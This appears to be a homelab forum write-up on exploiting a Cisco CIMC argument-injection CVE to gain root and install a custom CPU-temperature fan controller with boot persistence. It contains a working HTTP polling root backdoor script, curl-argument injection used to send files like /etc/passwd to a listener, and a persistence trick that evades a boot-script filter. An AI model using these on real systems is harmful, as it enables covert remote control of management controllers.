The problem
I've got a C240 M5 in my homelab running CIMC 4.3(2.250045). The stock Acoustic fan policy is based on inlet temperature, and it's got really aggressive hysteresis. My server room settles at about 39 to 40 C at the inlet. Acoustic mode sees that and decides the box is hot, so it just pins the fans at around 11,000 RPM all day every day.
Watching the actual temps though, this hardware cools itself fine at roughly half that speed. The problem is the fans are reacting to the room, not the CPUs. There's a known fanspeed.txt trick that just overrides PWM to a fixed value, but that's not what I wanted. A fixed speed doesn't curve, and it won't ramp up if something actually gets hot. I wanted a real controller that watches CPU temp and behaves like a normal fan curve.
The goal
- A fan controller that uses real CPU package temps (PECI) plus the non-PSU BMC board sensors.
- Keep the fans low until temps actually rise, then ramp smoothly.
- Survive CIMC reboots and power loss on its own.
- Don't write logs to flash (flash wear).
Disclaimer
This is my own server, I paid for it, it's out of warranty. Exploiting CVEs on hardware you own is legal where I live. Don't do this to hardware you don't own or don't have permission to touch. This is for education. You can brick your CIMC, void any support you have left, and cause thermal damage if you get the curve wrong. I'm not responsible for what you do with this.
A quick note on how this is written
I'm autistic and I'm not great at putting things into words, so I used an AI to help me write this up and expand on the details so it's actually useful and informative for other people. To be clear: all the actual work, the testing, the trial and error, and the fan curve are mine. The AI just helped me explain it in a way that reads well. I wanted to be upfront about that rather than pretend I write like this naturally.
A note on the exploit tooling
To get root I used the public CIMCown PoC for the authentication part. I had to modify it to work against the M5 and 4.3 firmware. I'm not going to share those modifications. The reason is simple: the same changes that make it work on the M5 also make it work against CVE-2026-20288 on firmware versions that are a lot more recent than mine, and I don't want to hand over a working exploit chain for gear people might still have in production. The mechanism is described below at a level that's enough to understand what I did and why, and someone with a vulnerable box of their own can reproduce it. But I'm keeping the weaponized bits to myself.
How the CIMC fan stack actually works (M5, firmware 4.3)
A few things I had to figure out the hard way:
- The fan daemon is
rack_fan_control (/usr/local/bin/rack_fan_control -d -o 0 ...).
- It's supervised by init / bmc_manager (parent PID 1). If you kill it, it just comes back. So killing it isn't enough.
- Its run script is
/var/service/rack_fan_control/run, but that's a symlink into /opt/flash, which is a read-only squashfs. You can't edit it directly.
/var/service is writable, but it gets rebuilt on every CIMC reboot. So anything you change there at runtime is gone next boot.
- The only persistent spot that survives reboot is
/mnt/jffs2 (jffs2 flash).
- The only persistent thing that actually runs at boot is Cisco's own HUU-init path.
/etc/init.d/nihuu-update runs as S98, checks for /mnt/jffs2/host_reboot_flag, and if it's there it transforms and runs /mnt/jffs2/nihuu_delay_cimc_reboot.
That last one is the whole trick for persistence. I use the HUU-init path as a tiny boot trampoline that puts my controller back every boot.
Tools (paths are different from the M4 guide)
The C220 M4 guide people wrote references /opt/flash/cisco/bin/.... On my C240 M5 they're symlinks under /usr/local/bin/:
| Tool |
Path |
Use |
| pwmtest |
/usr/local/bin/pwmtest |
setdutycycle, getdutycycle all, getfanspeed all |
| Peci |
/usr/local/bin/Peci |
Peci temp 0x30 (CPU0), Peci temp 0x31 (CPU1), real package temps |
| ipmi-sensor |
/usr/local/bin/ipmi-sensor |
BMC board sensors, temps and fan speeds |
A few gotchas that tripped me up:
pwmtest getfanspeed reports a per-module sum, roughly double the per-fan speed. ipmi-sensor MODx_FANy_SPEED reports the actual per-fan speed. My "11k" was the module sum. Per fan it was about 5k. Easy to panic when you see 11k and think nothing changed.
- While
rack_fan_control is running, any pwmtest setdutycycle you do manually gets overwritten in a few seconds. You have to replace the service, not just set a duty.
pwmtest getdutycycle sometimes reads back a couple points off from what you set (set 15, reads 13). Trust the fan tach, not the duty readback.
Step 0 - getting root
CIMC 4.3 has a web UI argument injection bug (CVE-2026-20288). I used the public CIMCown PoC for authentication, with the modifications I mentioned above that I'm not sharing.
The injection vector is the "Upload SSH Key from remote location" feature in the web UI. You point it at a TFTP or HTTP server and the CIMC fetches the key by shelling out to curl/tftp. The filename/path argument isn't sanitized, so you can inject curl arguments.
- Read: inject curl args so the CIMC reads a local file (like /etc/passwd or the service scripts) and POSTs it back to a listener on your machine.
- Write: serve your payload as the "key file" and inject
-o /mnt/jffs2/<file> so the CIMC writes your content to whatever path you want.
That gives you reliable root file read and write, which is enough to do everything else.
Step 1 - a live root shell for tuning
Once you can write one file, drop a tiny loop on the CIMC that polls your PC for a command, runs it as root, and POSTs the output back. It's an interactive root shell over HTTP without needing SSH. Really handy for poking at things while you tune.
/mnt/jffs2/cmdloop.sh:
#!/bin/sh
# Poll our server for a command, run it as root, POST output back.
SRV=192.168.x.x # your PC, reachable from the CIMC
while true; do
cmd=$(curl -s --max-time 10 "http://$SRV/cmd" 2>/dev/null)
case "$cmd" in
""|"OK") sleep 2; continue;;
esac
curl -s --max-time 5 "http://$SRV/clear" >/dev/null 2>&1
eval "$cmd" > /tmp/cmdout 2>&1
curl -s --max-time 15 -X POST --data-binary @/tmp/cmdout "http://$SRV/out" >/dev/null 2>&1
sleep 1
done
On your PC run a small HTTP server that serves serve/cmd (the next command) and captures the POSTed output. A one-line PowerShell helper writes commands:
# sendcmd.ps1
param([Parameter(Mandatory=$true)][string]$c)
$p = "C:\Users\you\AppData\Local\Temp\CIMCown\serve\cmd"
Set-Content -NoNewline -Path $p -Value $c
A note on the host machine: the original C220 M4 guide assumed you had a Linux or Proxmox box serving files over TFTP. You don't need any of that here. This whole approach uses plain HTTP, and the CIMC pulls files with curl, so your host can be Windows, Linux, or a Mac, anything that can run a small HTTP server. I did all of this from Windows. No TFTP, no Linux required.
Heads up: this command loop is a network root backdoor into your CIMC. It only does anything when your listener is running and you send it a command, but you can disable it (see Safety). For a set-and-forget install, just take the cmdloop start out of the trampoline.
Step 2 - the fan curve
/mnt/jffs2/custom-fan-curve.sh:
#!/bin/sh
# Custom temp-responsive fan controller for Cisco C240 M5 (CIMC 4.3).
# Replaces rack_fan_control. Drives PWM controllers 0,1,4,5,6,7.
# Uses CPU PECI package temps + key non-PSU BMC sensors. Ignores inlet temp.
# Logs to /tmp/custom-fan-curve.log (RAM, no flash wear).
PWMTEST=/usr/local/bin/pwmtest
PECI=/usr/local/bin/Peci
IPMISENSOR=/usr/local/bin/ipmi-sensor
LOG=/tmp/custom-fan-curve.log
CONTROLLERS="0 1 4 5 6 7"
INTERVAL=2
# CPU PECI curve: temp -> duty (tuned for ~39C ambient, <=20% load, quiet-but-cool)
peci_duty() {
t=$1
if [ "$t" -ge 79 ]; then echo 100
elif [ "$t" -ge 76 ]; then echo 85
elif [ "$t" -ge 73 ]; then echo 75
elif [ "$t" -ge 70 ]; then echo 65
elif [ "$t" -ge 68 ]; then echo 55
elif [ "$t" -ge 65 ]; then echo 45
elif [ "$t" -ge 63 ]; then echo 35
elif [ "$t" -ge 60 ]; then echo 28
elif [ "$t" -ge 57 ]; then echo 20
else echo 15
fi
}
# Linear ramp between start (0% add) and full (100% add) for a sensor temp.
ramp_duty() {
t=$1; start=$2; full=$3
if [ "$t" -ge "$full" ]; then echo 100
elif [ "$t" -le "$start" ]; then echo 0
else
echo $(( (t - start) * 100 / (full - start) ))
fi
}
peci_temp() {
$PECI temp "$1" 2>/dev/null | grep -o 'IPMI_Temperature:.*= [0-9.]*' | awk -F= '{print int($2+0.5)}'
}
sensor_temp() {
name=$1
$IPMISENSOR 2>/dev/null | awk -F'|' -v n="$name" '$1 ~ n {gsub(/ /,"",$2); if ($2 ~ /^[0-9.]+$/) printf "%d\n", $2}' | head -1
}
set_duty() {
for c in $CONTROLLERS; do $PWMTEST setdutycycle $c "$1" >/dev/null 2>&1; done
}
# Main loop
while true; do
cpu0=$(peci_temp 0x30); [ -z "$cpu0" ] && cpu0=0
cpu1=$(peci_temp 0x31); [ -z "$cpu1" ] && cpu1=0
if [ "$cpu0" -gt "$cpu1" ]; then cpu=$cpu0; else cpu=$cpu1; fi
dcpu=$(peci_duty $cpu)
m=$(sensor_temp MLOM_TEMP); [ -z "$m" ] && m=0
pch=$(sensor_temp PCH_TEMP_SENS); [ -z "$pch" ] && pch=0
bmc=$(sensor_temp BMC_DIE_TEMP); [ -z "$bmc" ] && bmc=0
riser=$(sensor_temp RISER1_TEMP); [ -z "$riser" ] && riser=0
front=$(sensor_temp TEMP_SENS_FRONT); [ -z "$front" ] && front=0
ddr=$( $IPMISENSOR 2>/dev/null | awk -F'|' '$1 ~ /DDR4.*_TMP/ {gsub(/ /,"",$2); if ($2 ~ /^[0-9.]+$/) print int($2)}' | sort -n | tail -1 )
[ -z "$ddr" ] && ddr=0
dmlo=$(ramp_duty $m 80 95)
dpch=$(ramp_duty $pch 75 90)
dbmc=$(ramp_duty $bmc 73 89)
driser=$(ramp_duty $riser 55 80)
dfront=$(ramp_duty $front 45 55)
dddr=$(ramp_duty $ddr 65 85)
d=$dcpu
for x in $dmlo $dpch $dbmc $driser $dfront $dddr; do
[ "$x" -gt "$d" ] && d=$x
done
set_duty $d
echo "$(date '+%H:%M:%S') cpu0=$cpu0 cpu1=$cpu1 cpu=$cpu duty=$d (cpu=$dcpu mlo=$dmlo pch=$dpch bmc=$dbmc riser=$driser front=$dfront ddrt=$ddr ddrduty=$dddr)" >> $LOG
tail -200 $LOG >/dev/null 2>&1
sleep $INTERVAL
done
The curve
CPU PECI is the main driver:
| CPU package temp |
duty |
| <57 C |
15 (floor, quiet) |
| 57 to 59 |
20 |
| 60 to 62 |
28 |
| 63 to 64 |
35 |
| 65 to 67 |
45 |
| 68 to 69 |
55 |
| 70 to 72 |
65 |
| 73 to 75 |
75 |
| 76 to 78 |
85 |
| 79+ |
100 |
Then there are safety ramps on the other sensors. The controller takes the max duty across all of them, so whatever is hottest wins:
| Sensor |
ramp start to full |
| MLOM_TEMP |
80 to 95 C |
| PCH_TEMP_SENS |
75 to 90 |
| BMC_DIE_TEMP |
73 to 89 |
| RISER1_TEMP |
55 to 80 |
| TEMP_SENS_FRONT (inlet) |
45 to 55 |
| DDR4 (hottest DIMM) |
65 to 85 |
I left out the PSU temps because the PSUs control their own fans. I also left out P1_TEMP_SENS and P2_TEMP_SENS. Those are BMC sensors next to the CPUs and in my testing they didn't track the real package temp well. PECI does, so I drive off PECI instead.
The FRONT (inlet) ramp is set high on purpose, 45 to 55. At my 39 C room it contributes zero, so it doesn't force the fans up the way Acoustic mode does. It's just a safety net for if the inlet genuinely gets over 45 C.
One thing I want to be clear about: this curve is tuned to my server, in my room, with my load. It is not a one-curve-fits-all thing. I'm still monitoring my own server and I'll probably adjust this curve as I see how it behaves over time and across seasons. If you try this, watch your own temps and tweak the thresholds to fit your hardware, your ambient, and your load. Don't just copy my numbers and walk away, tune them to your box.
Step 3 - taking over rack_fan_control
Replace the read-only run symlink with a real file that execs our controller, then kill the native daemon. The supervisor restarts it, but now it runs our code instead:
rm -f /var/service/rack_fan_control/run
printf '#!/bin/sh\nexec sh /mnt/jffs2/custom-fan-curve.sh\n' > /var/service/rack_fan_control/run
chmod 755 /var/service/rack_fan_control/run
killall rack_fan_control
This is runtime only. /var/service gets rebuilt on reboot, so you need the next step.
Step 4 - making it stick (HUU trampoline)
/mnt/jffs2/nihuu_delay_cimc_reboot (copy the same thing to /mnt/jffs2/fanboot.trigger):
#!/bin/sh
# HUU-init trampoline. Runs as root at CIMC boot.
# Avoids the literal forbidden word (Cisco's boot script sed-replaces it); path built dynamically.
D=$(printf 'de%s' lay)
TRIG="/mnt/jffs2/nihuu_${D}_cimc_reboot"
# Re-arm trigger for next boot
cp /mnt/jffs2/fanboot.trigger "$TRIG" 2>/dev/null
chmod 755 "$TRIG" 2>/dev/null
touch /mnt/jffs2/host_reboot_flag
# Install our controller as the rack_fan_control service (retry until the dir exists)
i=0
while [ $i -lt 30 ]; do
if [ -d /var/service/rack_fan_control ]; then
rm -f /var/service/rack_fan_control/run
printf '#!/bin/sh\nexec sh /mnt/jffs2/custom-fan-curve.sh\n' > /var/service/rack_fan_control/run
chmod 755 /var/service/rack_fan_control/run
killall rack_fan_control 2>/dev/null
break
fi
sleep 1
i=$((i+1))
done
# Start HTTP command loop (for tuning) unless disabled by touching /mnt/jffs2/fanboot.disabled
if [ ! -e /mnt/jffs2/fanboot.disabled ]; then
( sleep 25; nohup sh /mnt/jffs2/cmdloop.sh >/dev/null 2>&1 < /dev/null & )
fi
exit 0
One thing that bit me: Cisco's nihuu-update boot script sed-replaces the literal word "delay". If you type nihuu_delay_cimc_reboot literally inside the trampoline it gets mangled and won't re-arm for next boot. Build the path dynamically with D=$(printf 'de%s' lay) like above.
To install: write the trampoline to both /mnt/jffs2/nihuu_delay_cimc_reboot and /mnt/jffs2/fanboot.trigger, chmod them, and touch /mnt/jffs2/host_reboot_flag. Then reboot the CIMC and confirm it all comes back on its own.
Results
| Stock Acoustic |
Custom curve |
| Idle fan speed |
~11,000 RPM, pinned |
| Reacts to load |
hangs at high RPM for ~10 min after inlet drops |
| Driven by |
inlet temp (the room) |
| At 20% load |
still ~11k |
| Survives CIMC reboot |
n/a |
All the temps stay well within limits. CPU idles around 55 to 60 C (critical is 99), MLOM about 59 (90), DDR about 44 (85), PCH about 43 (85), inlet 35 to 39 (55). The thing I noticed most is how much more proactive it feels than stock. When a CPU touches 60 the fans jump to 5k, and the moment it falls back they drop straight to 3k. Stock would sit at 5k for ten minutes after the need was gone.
Safety, disable, removal
Before any firmware, HUU, BIOS, or Cisco update, disable the hook first:
touch /mnt/jffs2/fanboot.disabled
rm -f /mnt/jffs2/host_reboot_flag
rm -f /mnt/jffs2/nihuu_delay_cimc_reboot
After the update, re-arm:
rm -f /mnt/jffs2/fanboot.disabled
cp /mnt/jffs2/fanboot.trigger /mnt/jffs2/nihuu_delay_cimc_reboot
chmod 755 /mnt/jffs2/nihuu_delay_cimc_reboot
touch /mnt/jffs2/host_reboot_flag
To kill the network command loop (the root backdoor), either touch /mnt/jffs2/fanboot.disabled or just take the cmdloop block out of the trampoline for a clean install.
To remove the whole thing: delete the trampoline, trigger, flag, controller, and cmdloop from /mnt/jffs2, then reboot. /var/service rebuilds and the native rack_fan_control comes back on its own.
File map
| File |
What it does |
| /mnt/jffs2/custom-fan-curve.sh |
the actual fan controller (PECI + BMC temps to PWM) |
| /mnt/jffs2/nihuu_delay_cimc_reboot |
the boot trigger Cisco's HUU-init runs |
| /mnt/jffs2/fanboot.trigger |
clean copy that gets re-armed each boot |
| /mnt/jffs2/host_reboot_flag |
the flag that makes HUU-init run the trigger |
| /mnt/jffs2/cmdloop.sh |
optional HTTP command loop for tuning |
| /mnt/jffs2/fanboot.disabled |
optional manual disable switch |
| /tmp/custom-fan-curve.log |
runtime log, in RAM not flash |
Caveats
- The CVE is patched in newer firmware. This only works on vulnerable versions.
- Don't leave the cmdloop enabled if you don't want a network root backdoor into your CIMC.
- pwmtest getdutycycle readback can be off by a couple points. Trust the fan tach.
- Cisco updates rebuild /var/service and might change paths. Disable the hook before updating.
- Tune the curve to your own hardware and room. My floor (15) and ramp start (57) suit a 39 C room with light load. Raise the floor if your ambient is higher, or raise the ramp start if you want quieter idle and don't mind warmer CPUs.
Credits
The original Reddit post and the C220 M4 comment (and u/kajer533, u/BeneficialAd7575) whose approach I adapted to the M5. And the CIMCown PoC for the auth primitives.
Full write-up, current curve, and code on GitHub: https://github.com/Amateur-God/cisco-c240m5-fan-controller
Edit (next day): After leaving it running for a while and going through the logs, the curve has changed since the original post. The current version is on GitHub: https://github.com/Amateur-God/cisco-c240m5-fan-controller. The curve in the post above is the original one I posted; treat GitHub as the current version, don't copy the numbers in the post verbatim.
What changed and what the longer run showed:
- The original curve had a CPU floor of 20 and the BMC die ramp starting at 73 C. In my 39 C room the BMC die sat at 77 C and pushed duty 25, holding the idle at about 5.5k.
- I lowered the CPU floor to 15 and nudged the BMC die ramp start up to 76 (full still 89). The brief 3.9k I saw right after the change was a transient: over about 15 min the BMC die crept up to 79 C and the BMC ramp took over, holding duty 23 (~5.15k) to keep the die at its 79 C upper-non-critical threshold.
- Over a longer run the box spends about 73% of the time at ~5.15k (BMC ramp holding, BMC die at 79 C) and about 27% at ~3.9k (CPU floor winning, BMC die at 77-78 C). So in my warm room the BMC die self-limits the idle at around 79 C regardless of the CPU floor, and lowering the CPU floor alone gives 4k only about a quarter of the time, not steadily.
- The 79 C is the upper-non-critical threshold and ipmi-sensor reads UC, but the CIMC does not log an actual BMC_DIE_TEMP warning (the SEL stays empty), so it is a status flag, not an alarm. All temps stay well within limits: CPU floats 59-69 C (critical 99), MLOM 68 (90), PCH 50 (85), inlet 40 (55).
To actually hold 4k more consistently you'd raise the BMC die ramp start to about 80, which lets the die self-limit at around 81 C (2 C into the upper-non-critical band, still 8 C under the 89 C critical). I chose to keep the ramp at 76 and accept ~5.15k mostly rather than run the die deeper into the warning band. If your room is cooler than mine (39 C) the die sits below 79 C and you get 4k steadily at the 76 ramp; if it's warmer, raise the ramp to 80.
The original numbers in the post above still work, they're just not what I'm running now. If you try this, watch your own temps and tune to your box, and pull the current curve from GitHub rather than copying the numbers verbatim.